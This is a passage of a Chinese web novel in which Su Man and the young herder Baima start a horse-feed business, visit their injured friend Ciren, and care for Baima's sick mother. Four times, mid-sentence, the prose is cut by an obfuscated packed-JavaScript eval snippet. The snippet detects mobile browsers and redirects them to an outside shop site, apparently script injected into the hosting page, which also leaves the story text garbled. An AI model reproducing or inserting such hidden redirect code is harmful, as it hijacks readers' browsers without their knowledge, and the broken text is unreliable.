当人死去,便不再需要这具躯壳了。灵魂会通往他的下一站。而此生的点点滴滴、善善恶恶,决定了下一站的去向。 所以,才需要为他念经。让他的恶消除,让他的善增长,让他去一个更好的地方。 据说,一些非自然死亡、或者心有遗憾未放下、依然执着的人,那些神秘的黑鸟是不会碰他的身体的。 然后就需要继续为他念经,引导他放下执念。如果还是不行,最后就只能是土葬。 在高原,只有出家人才会火葬。 - 苏曼,在职场上一直是个雷厉风行的人。 她看着样貌瘦小,做事却是快准狠,不然这么些年,她也不能在永京扎下根来。 去了五天,苏曼终于带着适合高原马的饲料样品回来了。 这让白玛万万没有想到,为什么姐姐做事情,这么容易,这么轻松。 是不是这就是文化的力量?他开始遗憾自己没有念多少书。想着一定要让降措读上大学。 白玛去机场接回苏曼,然后开着自己的小卡去快递站取饲料样品,装了整整一后车斗。 苏曼正在楼上洗澡、洗头,洗衣机在不停的转着。 白玛冲了上楼。 “姐姐,饲料取回来了。” “好的,你等我一会儿,等衣服洗好了,我们再去你家。” 苏曼取回来的是样品,厂家答应她先试吃一段时间,若是觉得好,可以正式作为他们在高原地区的代理。 这就是苏曼这趟的主要目的。 苏曼洗完澡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996828|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,头发湿湿的用干发巾包着。 “姐姐,要我帮你吹头发不?” 白玛自告奋勇,他想起那天姐姐帮她吹头发。 苏曼慎了他一眼:“不用。” 白玛笑嘻嘻的坐在露台的凳子上,悠闲的点着烟,看着小小的苏曼,她和他阿妈一样瘦小,这让白玛十分的喜欢。 说起来也奇怪,他们这里的男孩子个子都不算高,但是女孩子却一个一个的都长的很高,身材修长。 苏曼回房间把头发吹干,换好了衣服,走了出来。 苏曼:“走吧。” 白玛:“你还开车吗?” 苏曼:“开啊。不开我怎么回来。” 白玛:“我再送你回来呗。” 苏曼:“你也不嫌累啊。” 白玛:“不嫌累。” 姐姐回来了,白玛的天空又明亮了起来,每天好像又有了想做的事情了。 “白玛,我这次谈的这个饲料,你先给你们家的马试吃一段时间看看,如果好,我们就做他们的代理。” “什么代理啊?我们?你和我吗?” 白玛对于一些新奇的事情,听不太懂。但是他听到了“我们”。 姐姐要和他共同做一件事情。这件事情与饲料有关。 “嗯。我们。我想和你一起做这个饲料品牌的代理,长西地区的,我跟厂家已经谈好了,只要我们这边试吃没问题,我们就去县上注册一家公司,正式签合同。” “咱俩一起,你技术入股,不用出钱。”苏曼又补充道, 白玛听不懂什么叫代理,什么叫技术入股,更没想过注册什么公司,但是能和姐姐一起做一件事情,他都是很欢喜的。 “行。我都听你的。” 苏曼看了白玛一眼,他认真的开着车,他对她无限的信任,正如她对他的信任一样。 “那你以后就要更辛苦了哦。” 白玛转过头也看了一眼苏曼:“姐姐,你不是说我还年轻嘛,年轻吃点苦怕什么。我们一起吃苦,做事情,这多好啊。” 他还不知道代理一个饲料品牌的意义,这是一件正儿八经的事情,和他平时养马卖马可不太一样。 苏曼需要压款,他们要一起去寻找销售渠道,还要负责售后,这一套下来,才是真正的商业流程,是一个公司该做的事情。 “行,那我们一起把这件事情做起来。” 苏曼相信白玛,也相信自己。 她希望来到高原的她,也一样能做出一番事业来。而且还是利益这些牧民的事业。 白玛兴冲冲的赶回家,想让马儿早些吃上姐姐带回来的饲料,他们能早些有自己的饲料公司,早些获得成功。 他对成功的向往,是从小到大的,正因为家中没有父亲,他才更加努力,不让别人瞧不起。 他一直努力承担着家中父亲的角色,十八、九岁就开始做着别人二、三十岁大人做的事。 他自己也觉得自己很了不起,虽然他从来不说。 车子停在院门口,白玛大声喊着:“阿妈!梅朵!” 白玛妈妈和梅朵都小跑着出来,帮着一起卸下饲料,搬进了杂物房。 她们兴高采烈的,将饲料平整的码放在那一包包的草料旁边。 “白玛,以后马就吃这些索?” 白玛妈妈想着这是不是又要花好多钱。 58. 第58章 这天曲珍来找苏曼,告诉她一个让她震惊的消息: 次仁腿受伤了。马场暂时不开了。 “是哪里受伤了?严不严重?” “倒不严重。我也是听别人跟我说的,我不敢去找他,他心情一定不好。右腿受伤了,反正就是说以后不能参加比赛做那些高难度的动作了。” 曲珍坐在苏曼的咖啡厅里,神情落寞,但是更多的是心疼次仁,为自己的英雄落幕而感到心疼。 “怎么会这样呢?他不是骑马很厉害的吗?” “他就是骑的太好了,所以才骑的比较狠。” 苏曼万没想到,这么热爱骑马的次仁,才二十三岁,就受伤了,那以后还能骑马吗?若不能,他该有多痛苦。 “那还能骑马吗?” “骑马应该能吧。普通的骑应该没问题,就是比不了赛了。” 作为一个草原上的年轻人,这么快就要退出赛场,确实会让人沮丧。 苏曼倒是庆幸,次仁只是“小伤”,只是停止了自己的比赛生涯,而不是什么危及生命的受伤。 生命比什么都重要啊。 苏曼看着曲珍,她虽然长的漂亮且傲气,但是她也有她的细心与专一。她一直死心塌地的追着次仁,虽然偶有虚荣,但毕竟她才二十岁。 “那你打算怎么办?”苏曼问曲珍, “现在是不能去找他嘛,等过两天,我们一起去看他好吗?” 这就是曲珍今天来的主要目的。 除了告诉苏曼这件事以外,她还想邀请苏曼和白玛一起去看望次仁,这样她就能理所应当的出现了。 她可能也希望苏曼和白玛能帮助她追求次仁吧。 “行。我等你消息,你说什么时候去我们就什么时候去。” “你要跟白玛一起来哦。”曲珍补充道, “嗯,肯定一起的,你放心吧。” 不知道为什么,苏曼此刻特别笃定的说她会和白玛一起,是为了让曲珍心安,又或是自己心中已经认可她和白玛是一体的。 “曼曼姐,你觉得怎么样能让次仁喜欢我啊?” 苏曼没想到曲珍这么骄傲的一个人,竟然会在她面前示弱。 苏曼想了想,她也不知道次仁喜欢什么样的人,他们都说次仁只喜欢汉族姑娘,可曲珍不是,这可怎么弄。 那汉族姑娘不同的地方在哪里呢? “要不你找个事做吧,让他看到不一样的你。” 这是苏曼能想到的不一样的地方,汉族姑娘普遍都有很强的事业心,因为汉地竞争激烈,不像高原上什么事情都慢慢悠悠的。 不知道这算不算一个方向。 曲珍若有所思:“曼曼姐,你是不是工作很厉害啊?我看白玛很崇拜你呢!” “崇拜?没有吧。” 苏曼被曲珍说笑了,她会不会觉得次仁也是崇拜她。 “还有就是我觉得次仁喜欢温柔的姑娘,不知道说的对不对哈!就是一种感觉。曲珍,你可以试着温柔一点。” 苏曼没敢说她的高傲与刚烈。这是他们这个民族女性与生俱来的性格。 曲珍点点头,她到是认可自己的高傲。 从小到大她都是这样的,身边一堆人毫不吝啬的围着她、赞美她,她自然就养成了高傲的样子。 “好的,谢谢曼曼姐。” “曲珍,次仁腿受伤了,你会介意吗?他以后也骑不了马了。” 骑不了马的次仁,他的风采、他的魅力,要减去许多。 曲珍舔了舔唇,道:“我又不是光喜欢他骑马,我们这会骑马的人多呢。我喜欢的是他这个人。他只是受伤了,又不是走不了路了。” “那如果他走不了路呢?你还会喜欢他吗?”苏曼继续追问, 现实,在这片高原上,也是存在的。 “会啊。姐姐,你知道什么叫爱情吗?” 爱情,苏曼没有经历过,但是她看过不少。都很现实。真正的爱情,她不知道。 苏曼叹了一口气,她真的说不上来。 “我可能也不知道吧......你加油,曲珍。我看好你跟次仁。你们很般配的。” 听到苏曼说她跟次仁般配,这让曲珍也高兴了起来。她自己也觉得,整个巴龙,只有次仁能配的上她。 曲珍害羞的笑了笑:“姐姐,你这么说我就放心了。” 苏曼知道曲珍的意思,她终于不再是曲珍的敌人了。 - 苏曼把次仁受伤的消息告诉白玛,白玛不以为然。 “姐姐,我们这边受伤很普遍的,伤心肯定是有的,但是你放心,次仁不会怎么样的,我们都懂这些。” 他们都懂,他们随时都会受伤,甚至死在马背上。 “白玛,你可不能骑那么狠,你不像次仁。” 苏曼害怕白玛受伤,害怕白玛失去劳动力,他的家需要他。她也需要她。 白玛看着苏曼的眼睛,直直的盯着,盯的苏曼心里一阵发慌。 “你的马饲料吃的怎么样了?喜欢吃吗?” 苏曼强制转换了话题。 “喜欢是肯定喜欢的,饲料里面有香料嘛,不过要过一段时间看看,看肌肉长的怎么样,看马毛是不是越来越光亮。” 青稞比草料更有能量,但是青稞比饲料要贵。所以,饲料是有很大的市场的。 在牧区,青稞稀少,需要购买,同样是购买,购买饲料更具性价比。 苏曼点点头,她希望试吃尽快结束,有一个好的反馈,这样她就可以进行下一步了。 注册公司。 她没想到,她的第一次创业,竟然不是在永京,而是在巴龙县这个山高偏远的小县城。 这个世界与人生的境遇,是多么有趣啊。你永远想不到你的下一站会在哪里。 中午白玛留下来吃午饭,因为苏曼说今天她刚好买了许多菜。 直到一大盆水煮鱼端上来,白玛才连连摆手。 “姐姐,我们这里不吃鱼的。我们都不吃鱼的。” “啊?我竟然又忘了。” 苏曼傻了眼,在永京吃日本料理的时候白玛就提过他们不吃鱼。 “那怎么办?” “没事,我吃里面的菜,鱼你吃。” 就这样,两个人,一个吃荤一个吃素。苏曼很是愧疚,她本想让白玛好好吃一顿的,结果竟然是这样。 “你们为什么不吃鱼啊?是因为水葬吗?” 苏曼又开始好奇,这一次她一定要好好记住。她知道在某些地区有水/葬,但是长西地区是没有水/葬的。大部分都是天/葬。 “不是的。很多原因吧,反正我们从小都不吃鱼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009708|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这辈子都不会吃的。因为有的鱼是放生鱼嘛,在水里你也分不清,不像放生的牛羊马都会做放生标记,没有标记就会吃到放生鱼,所以,索性大家就不吃鱼了。” 还有一些其他的原因,就是鱼儿太小了,为了人类的果腹,一顿就要牺牲掉许多条的生命,而吃牛,可能两个家庭一年的肉类需要,只需要杀一头牛。 总之,不吃鱼,是他们的习俗。 “那好吧,以后我不做鱼了。” 其实苏曼很爱吃鱼,从小就爱。虽然小时候她只能吃鱼尾,或者鱼头。 但是渐渐的她发现了鱼尾和鱼头的好处。 鱼尾的肉特别鲜嫩,虽然刺多。 鱼头就更不用说了,各种软胶,吸溜起来口感更好。她能熟练的拆解鱼头上的每一根骨头,嗦掉每根骨头上的白色胶质。 “姐姐,不用啊,你吃你的鱼,我吃我的牛肉,反正又不是只做一个菜,不冲突的。不然以后我们怎么一起生活啊。” 白玛咬着筷子,低头抬眼坏坏的看着苏曼。苏曼也抬眼看了一眼白玛。 “什么一起生活,想的可真多,吃你的吧。” “我反正是等着你的。明年我二十岁,刚好可以嫁给你。” 苏曼抿着嘴,没法再接下去了。白玛就是认定她了,白玛也是她唯一信任的人。 只是婚姻,太虚无了,她没有一点实感。 “你先把事业做好。”苏曼小声的说了一句。 “事业做好了,就可以嫁给你吗?” 白玛眼里放着光,那棱角分明的脸庞,有着完美的折叠度,而这样完美的一张脸,竟然像个孩子似的,在苏曼这里不停的讨要着糖吃。 苏曼抵挡不住他俊俏的脸庞,脸上挂起了笑: “那你说说,你为什么要嫁给我?我为什么要娶你?” 苏曼开始逗他。 白玛放下筷子,开始认真的说了起来: “首先,因为我喜欢姐姐,姐姐也喜欢我。其次,我想守着姐姐,保护姐姐,姐姐也需要我的保护。嗯。最重要的就是这些。” 苏曼想起他的保护,像个天使一样,一直守在她的身边。 他那么可爱,那么单纯,又那么勇敢有担当。 确实是个好男人。 “你太小了。” 白玛又被这句话打败了。 他不知道要如何才能说服姐姐,接受年龄不是问题。至少对他来说不是问题。 “你错了,姐姐,我们老的快,再过几年,我会看上去比你还要老的。而且女的都比男的活的久,你看,我们村里八十多岁的老人,大部分都是女的,说不定,我比你还要早死呢。” “呸呸呸!什么死不死的,别老提死。” 白玛总是把死亡挂在嘴边,就像吃饭睡觉一样稀松平常,他们真的不惧怕死亡吗? 白玛笑了:“姐姐,死有什么的,我们把老人抬到山上,看着他的身体一点一点的被吃掉,我们从来都不害怕死亡。” 他们经常直面真正的死亡。 人活着,或死了,不过就是一辈子,而已。 “人”有好多辈子呢。 苏曼也放下了筷子,她吃不下去了。死亡,对她来说依然是件可怕的事情。 而像他们那样直面死亡,直面那具肉身,更是让她接受不了。 59. 第59章 曲珍去了县文化艺术中心,做义工。 这里是次仁教小朋友弹琴的地方。她想离他近些,了解他多一些。 她听了苏曼的建议,找些事做,让自己活的更有意义,或许这样,次仁就能看见她了。 过了一周,曲珍邀请苏曼和白玛一起去看望次仁。 白玛正在村子里帮一位游客找狗。 游客带着狗自驾游,到了白玛的村子上,狗子撒欢跑丢了,找了许久都未找到。 游客遇见白玛,于是拜托他帮忙找,白玛在村子里每个帐篷里,每个马房后边都找了一大圈都没有找到。 苏曼开着车过来找白玛,于是跟着白玛也一起找起了狗。 “狗狗什么颜色的啊?” “一只小黄狗,小土狗。” 白玛一开始以为是一只可爱的品种狗,谁知道竟然是只小土狗。他一直以为,城里人,养的都是昂贵的、漂亮的品种狗。 正如城里的老板,不会养他们高原上丑丑的本地马一样。 找了一个上午,到了中午的时候,苏曼有些着急了,曲珍还在县里等着他们。 “白玛,要是还找不到,曲珍那边怎么办啊?” 白玛毫不思考的就回答:“那就明天去吧,人家的狗狗很重要的。” 也是。狗狗就像他们的马一样,都是自己心爱的宠物。 白玛又叫了村里的几个兄弟一起,大家开始满村的找那只调皮的小黄狗,找狗这件事,一下子似乎变成了整个村子的事情了。 最后,终于在一个废弃的房子里面找到了,之前白玛进来看过一次没有,可能是小黄狗后来躲进来的。 游客非常感谢白玛的这些兄弟们,说要给每个人发一个五十元的红包。其他几位兄弟因为汉话不好,或者是害羞,都让白玛来说。 白玛拒绝了游客的好意。 虽然是旅游区,但是也不是做什么事情都要收费的。 游客怀着感激之情,带着他心爱的小黄,继续了他的自驾旅途。 这真是一只幸福的小狗啊。 - 曲珍带着白玛和苏曼去了次仁的家里,就在白玛的隔壁乡。 他没有再去马场了。 或许看到马,会让他沮丧。 次仁家是一栋三层楼的红墙小楼,非常富贵气派。院子不大,里面停着两辆车。他们家应该不止有两辆车。 次仁拄着拐走了出来,他还是穿着他那件黑色的皮衣,乌黑的长发顺在他柔和的脸庞,抬起眼就能看见他那双浓密乌黑的大眼睛。 他的眼里没有了光,没有了自信,只有淡漠。 他其实是不想他们来看他的。 苏曼迎上前去,将手里提着的一大袋水果举了举。 “次仁,好些了吗?” “哎呀,这点小伤,没几天就好了。”白玛故意说着轻松的话。 只有曲珍柔情的看着他,这是她第一次来次仁家。 她有些害羞。 好在次仁的爸妈都不在家,阿妈住在牧场,阿爸和大哥这些天都在马场。 二哥结婚了,早就分家出去了。只有他自己在家里。 “来我家,还带什么东西。我去你家都没买过东西。” 次仁跟白玛打着招呼,眼睛看向苏曼那边,曲珍默默跟着进了屋子。 厅里富丽堂皇,红木红漆,各种精致的雕花桌凳和墙柜。 苏曼首先看到的是一台大大的液晶电视。这和白玛家那台32寸的电视机相比可就气派多了。 苏曼在白玛家,从来没见他们打开过那台电视机,她都怀疑那是不是一台坏的,只是放在那里做个摆设。 次仁家连长凳上铺的毯子都是崭新的,不像白玛家的,又旧又起毛。 苏曼想,这大概就是白玛说的从永京批发回来的那种毯子吧。 次仁家厅中的炉子也比白玛家的要大许多,听白玛说起过,有一种炉子,在冬天的时候,是可以充当暖气的角色的。 或许,说的就是次仁家的这种。 上次苏曼见识过富家王子的马场,今日算是进了富人家的宅子了。 可惜卧室看不了。在这边,所有的活动都是在厅里,所以厅里会设计的非常大,长凳很多,而卧室一般都是小小的。 但是次仁家的卧室,应该不会小吧?苏曼非常的好奇,会不会有汉地的厚厚的床垫?还是中式雕花大双人床? 双人床,似乎都是个稀罕物。 至少在白玛家,白玛妈妈带着降措睡的那张拼木床,也不过是一米二的样子。 次仁招呼着大家坐下,他将拐放在了一旁。 曲珍怯怯的看着他,第一次来次仁家,她没有了往日的那种傲气,又或者是听从的苏曼的建议,要温柔一些。 “次仁,你这算好的啦,我上次整个腿都伤了,流了好多的血。你看!” 说着白玛撸起了他的裤管,给次仁看他腿上那条长长的疤,这也是苏曼第一次见,真不知道他身上还有多少伤疤。 次仁抿着嘴一笑,说起伤疤,他可就感兴趣了,这是他们男人的荣耀,像是身上的奖牌一样。 “我手也摔过啊。不过还好,后面养好了没事。” 可是这一次,不行了。养好了,也骑不了马了。 “哎哟,你可别说,你们村上次赛马,我眼珠子都差点要坏咯。” 两个人比试着自己的勇猛,好像受伤越多的人,才越勇敢。 “你们两个不要说什么受伤啦,怪吓人的。我可不喜欢看到你们受伤。” 苏曼跳出来制止了他们的话题,白玛跟次仁聊受伤,不过就是想让他好受些,接受这次的受伤。 但是,次仁是不需要安慰的。 “哎呀,就是少骑一点嘛,也没事的。” 曲珍表了态,她不介意次仁的受伤。 可能这才是她想来看望次仁,向次仁传递的信息。 次仁看了她一眼,咬起了下嘴唇。曲珍来到他家,让他感觉有些奇怪,有些不自在。好在阿爸阿妈不在,不然的话,可能还会误以为是他的女朋友。 “次仁,你们家马场,马吃饲料不?” 白玛想起了他和姐姐的“事业”。 “吃啊,不然哪够啊!” 草料不够,就必须买饲料喂养,毕竟饲料是想买多少就有多少,而草料却并不是。 每年割下来的草就那么多,自己家分到的那些怎么可能够。何况这些年,草原上的草地也毁坏严重,很多地方都长不出像以前那样茂密又粗壮的草了。 白玛朝苏曼使了使眼色,他在想是自己说,还是让苏曼来说。 苏曼示意他自己说。 “兄弟,是这样,我们家马前阵子生病了嘛,然后说要吃饲料,所以我就找了个饲料,最近在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019969|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃的挺好的,想问问你们马场要不?也拿去吃吃看,要是好的话,我跟姐姐,就打算做那个饲料了。” 不知道这样说次仁能不能听懂。反正曲珍是没听懂。 “那你拿过来试试呗。反正都是吃。” 次仁很轻易的就答应了。这不算是什么大事。 白玛高兴极了,做事情,并没有他想象的那么难嘛。 “行,过两天我给你送过去。你跟你阿爸打声招呼哈。” “行。” 白玛其实跟次仁爸爸和大哥都很熟,在他们两个相熟之前,可以说比跟次仁还要熟。他们之间,经常会有一些关于马上的交流。 而次仁爸爸,也很欣赏白玛。 他总说要聘白玛来他的马场工作,帮他训马,每个月给他开工资,然后还住在他家,包吃包住这样子。 但是白玛,有自己的那么多马要养。 自己家里也总是时不时的有个什么事情要做,村里有个什么事情,每户要派人去做的时候,也都是他。 他根本没法去做一个全天在别人那里的工作。 次仁爸爸盛情邀请,但是白玛没法答应。他若答应了,时不时的就会请假去忙自己的事情,那样就会感觉愧对次仁爸爸了。 “你们两个一起做吗?” 次仁不知道为什么这件事情里,会有苏曼的参与。当然,他很羡慕白玛,能跟苏曼走的那么近,还一起做事。 “对的。因为饲料是我找来的。前阵子白玛的马不是生病嘛,我就顺便帮他找饲料了。” 顺便。次仁笑了笑。他又看了看曲珍。 曲珍一阵脸红,好像次仁是让她看看苏曼有多厉害一样,好像是说她什么都不会,除了空有美貌一样。 曼曼姐说的没错,次仁就是喜欢独立、做事的女性。 曲珍小声的,而又怯怯的说:“要不你那个马场还是开吧?我可以帮你一起......” 大家都看向了曲珍,她的脸更红了。 曲珍很勇敢的去表达她的爱,也很勇敢的想证明自己,向苏曼学习,做一个独立女性。 “你又不是我什么人......” 次仁低过头,用手摸着座位上的毯子,一遍一遍的来回摸着。 苏曼笑了笑:“哎呀,我也不是白玛什么人啊,一起做事嘛,这有什么的。” 曲珍向她投来感激的眼神,白玛也赶紧加入。 “次仁,你对女孩子要温柔一点,怎么老是这个样子,怪不得姐姐不喜欢你。” “喂喂喂!” 好你个白玛,时不时就给次仁捅刀子,时不时就要提一下姐姐不喜欢他。 次仁和白玛真是一对欢喜冤家,连曲珍都看笑了。 苏曼转而支持次仁:“次仁,别听他胡说,我可没说不喜欢你哈。” “姐姐!”白玛盯着苏曼故作不悦。 “咋啦?”苏曼继续逗他。 “我们不是说好的嘛!” “说好什么啦!” “你们两个行了啊!差不多可以了。”次仁打断了他们。 白玛和苏曼说好了,明年二十岁,他要嫁给她。一厢情愿的。 苏曼和曲珍一起笑的不行,让白玛这个大男孩一下子觉得自己失了态,失了他往日的大男子威风了。 “你们都太坏了。” 白玛指着他面前的这三个人。 60. 第60章 饲料吃了半个月,马儿长膘了,白玛拍着马儿健硕的屁股,满意的很。 “姐姐,这个饲料行,马爱吃,还长肌肉。我再跑跑它们,就很强壮了。” “那好。我去注册一家公司。” 苏曼早就研究好了公司的注册流程,县城不大,注册公司比永京方便多了。 “叫‘白玛马业’好不好?” 苏曼想以白玛的名字命名。她占股五十一,白玛占股四十九。 “哎呀,这样我不好意思的呢,姐姐,要不叫个别的名字吧。” “这有什么的,以后都是你出去跑,是你去跟他们沟通,我又不懂,叫你的名字不是显得你是老板嘛!谈起来也方便很多啊!” 苏曼讲的道理头头是道,反正白玛听着好像都对。 “那好吧。” 白玛心中窃喜。他竟然也有自己的公司了。 “白玛,你去县上再找个库房吧,先别租,等公司下来了,合同签了,我们再租,不然饲料没地方放。” “好的,姐姐。” 姐姐做事思路清晰,一步一步完全都不需要白玛操心,他的心里美滋滋的。 “阿妈,我跟姐姐要开公司了。做饲料。” 白玛高兴的把这个事告诉阿妈,就是想让阿妈放心,他跟苏曼在一起不光是为了谈恋爱,他们也有在认真做事情,努力的赚钱。 “等你做起来了再说嘛。做事情不要那么早说出去。” “哦,好的。” 白玛在阿妈这里碰了灰,阿妈肯定是支持他的,只是叫他做事情要小心、稳妥,不要被虚荣蒙蔽了眼和心。 人谦虚一点,低调一点,总没错的。这样老天爷都会帮助你的。 而狂妄自大的人,是难以成功的。 - 阿妈最近每天都跟姑姑一起去捡松茸,因为身体不好,也只是随意的在周边捡捡,不敢走去太远的山上。 但是每天也能卖个几十、一百的,偶尔多的时候,能有个一、二百的样子。 虫草季过后,就是松茸季。 这是山上两种能卖钱的珍贵食物,是上天赐给这个艰苦民族的礼物。 这天姑姑没空,没有跟着白玛妈妈一起去,结果遇上了大雨,白玛妈妈即便是打着伞,还是淋了一身湿自己回来,到了晚上就发烧了。 白玛连夜把阿妈送到了县医院,留妹妹在那里照顾,再把弟弟送到了大舅舅家。 真是赚点辛苦钱,最后都交给医院了。 好在他们现在有了农村医疗保险,每次白玛妈妈上兰城看病,都能报销个百分之七八十的样子。 他们也不太懂,反正能有的报销,就已经很好了,特别是对这些有病人的家庭,确实能分担不少。 当苏曼知道这个消息的时候,已经是第二天了。 “白玛,你怎么不早告诉我,我好去看看你阿妈。” 白玛觉得自己家的事,最好不要多麻烦姐姐,毕竟他们的日子苦。 怎么能让姐姐来到巴龙也跟着他们一起苦呢。 “没事的,就是淋了一下雨,输两天液就好了。” 苏曼还是觉得有些生气,马上就要去医院看望白玛妈妈。 白玛妈妈对她那么好,是这个世界上第一个对她那么好的女人。 白玛还在家里忙着,有妹妹在医院里,他也只是每天过去送饭。现在苏曼说要去医院看望阿妈,他马上停下了手中的活,也去了县医院跟苏曼会合。 苏曼买了一堆水果,还有一箱牛奶、一箱酸奶。 “快!过来,帮忙拿一下。” 苏曼站在汽车的后备箱那里,等着白玛过来帮手。 白玛又穿回了他那些旧旧的卫衣,也不知道是不是有打扮羞耻症,觉得只有穿成这样才不会被人多注意。 而苏曼看着高原上的那些小伙子们,恨不得让全天下的人,都能注意到他们闪亮的新衣。 白玛,和他们,就是不一样。 又或许,是因为自卑,才不想让人多关注到他。 想到这里,苏曼有些心伤,她也想让白玛和他阿妈能更自信一些。 走进病房,白玛妈妈瘦小的身体坐在床上,身上的衣服也是皱皱巴巴的,输了一天液,身子已经好多了,她就开始嚷着要出院了。 “再多住一天好不好?输三天液我们就出院。” 白玛哄着她,此刻她是一个害怕花钱的妈妈,白玛心里都懂。 “梅朵,今晚你回去吧,我来照顾你阿妈。” 苏曼难得的跟梅朵说话,她总是悄声的存在于这个家里。 但是她是最爱妈妈的,虽然她没有降措的嘴巴甜,但是她在家里干的活也不少。 “姐姐,这哪能行呢。哪用你来照顾。我来吧。今晚我换妹妹。” 白玛妈妈瞪着眼睛看着大家说话,又听不懂,伸着身子在等人给她翻译。 苏曼坚持,她想为白玛妈妈做些什么。 她想起她小学五年级的时候,母亲得了急性阑尾炎,痛的满地打滚,最后父亲把她送到医院后就不管了。 是她,一个小小的孩子,站在漆黑的手术室外的长廊上,一直等着手术结束。 她还记得县医院的那条长廊很长很旧,连盏灯都没有。 因为害怕,她时不时的走到长廊外去,然后又走回来等着。 直到手术室的门打开,医生从里面递出了母亲被切掉的阑尾,叫她拿去扔掉。 整整一周,都是她一个小女孩在医院照顾着母亲。跟着病房的大人去开水房打水,在病房用脸盆洗衣服,找来一根长长的线拉起,再把衣服晾起来。 还有那彻夜明亮的病房,她一间间走过,看着深夜的样子。 在那时,她就已经学会了感受。 爱妈妈,是一件多么幸福的事啊。 可惜,童年只停留在了童年。 长大,会让你发现真相的残酷。 白玛拗不过苏曼,只好答应了,并且也打算一起留下,让妹妹回去休息一晚,明早再过来。 白玛妈妈开始驯骂白玛,虽然苏曼听不懂,但大概意思肯定是说让她来照顾她十分不妥。 为什么要麻烦别人。 可苏曼,没有把他们当做别人。 最后还是白玛嬉皮笑脸的又跟他阿妈说了起来,苏曼怕白玛妈妈不好意思,主动说去买外卖,晚上大家一起在医院吃。 这件事情就这么决定了。 时隔这么多年,苏曼再次守在医院里,让她感慨万千。 这么多年,她都是自己一个人过的,幸运的是,自己也从来没有生过病,她一早就学会了如何照顾自己。 她依然走在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027170|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相似的长廊里,不同的是,身边陪着的是白玛。 “姐姐,晚上冷,你穿的衣服够不够?” 白玛今天才是最高兴的那一个,当他听说苏曼要来照顾他阿妈的时候,他感觉苏曼已经是他的家人了。 “够的。我现在也没那么怕冷了。” “姐姐适应的好快呢。”白玛走近苏曼,用身子贴了贴。 苏曼抬起头,看了一眼白玛,他乌黑的眼睛里,全是兴奋。 “你那么高兴干什么?” 白玛凑着脑袋过来,小声道:“因为有你啊。有你我就很高兴。” “不害羞,你以前可不是这样的。” “以前我不懂嘛。什么都不懂,当然会害羞啊。现在我都懂了。” “你懂个啥?” “我懂我喜欢你啊!” 苏曼拍了一下白玛,将他推了推开:“离我远点。” 白玛站上了一条水泥矮栏,在上面扭扭歪歪的走着。长长的手脚,大幅的摆动着,长发左右摇晃,像一只大猩猩。 白玛陪着苏曼在医院外面的长廊里走了许久。 县医院的病房走廊里,到处都是陪夜的人,有的人直接拿个垫子就睡在了地上,还有的甚至和病人一起挤在床上。 这个小县城,有它自己的家庭故事。 不管是什么环境,家庭与爱,都会存在。 白玛把医院的凳子留给了苏曼,自己坐在从家里带来的小板凳上,就打算靠着墙睡了。 “姐姐,阿妈叫你趴在床边睡,她没事的。她睡不到多少位置。” 白玛把医院的凳子挪在床边,叫苏曼在那里坐下。白玛妈妈把被子往里掖了掖,让她趴在那里。 “你靠在那里行吗?要不你也过来趴着吧。” 苏曼想着趴在一起或许还能更暖和些。 “我是想啊。可是阿妈会不高兴的。” “哦......” 苏曼忘了这一层,白玛妈妈是个害羞的女人,他们这样趴在一起,她会觉得很没面子的,在外面的人看来,在家里做的事,不可以拿到外面来做。 可是意外的是,白玛妈妈竟然叫白玛一起趴在床尾,大概意思就是保持个距离就好。 白玛咧着嘴笑嘻嘻的挪着小板凳就过来了:“阿妈让我趴下面这边呢。” 晚上病房熄灯,只有外面的走廊里的灯是亮的,照到里面,白玛隐约能看见苏曼埋在臂弯里的小脸,他看了很久,直到困意袭来。 天蒙蒙亮的时候,白玛就醒了,可能是因为他经常因为要做事,需要五六点钟起床的缘故,他总是不能睡到很晚。 有时候他都起床干完活回来了,阿妈还带着降措在里屋睡觉呢。 睁开眼的他,又继续望着那张小脸,看的实在入迷了,都忘了外面的光已经越来越亮了。 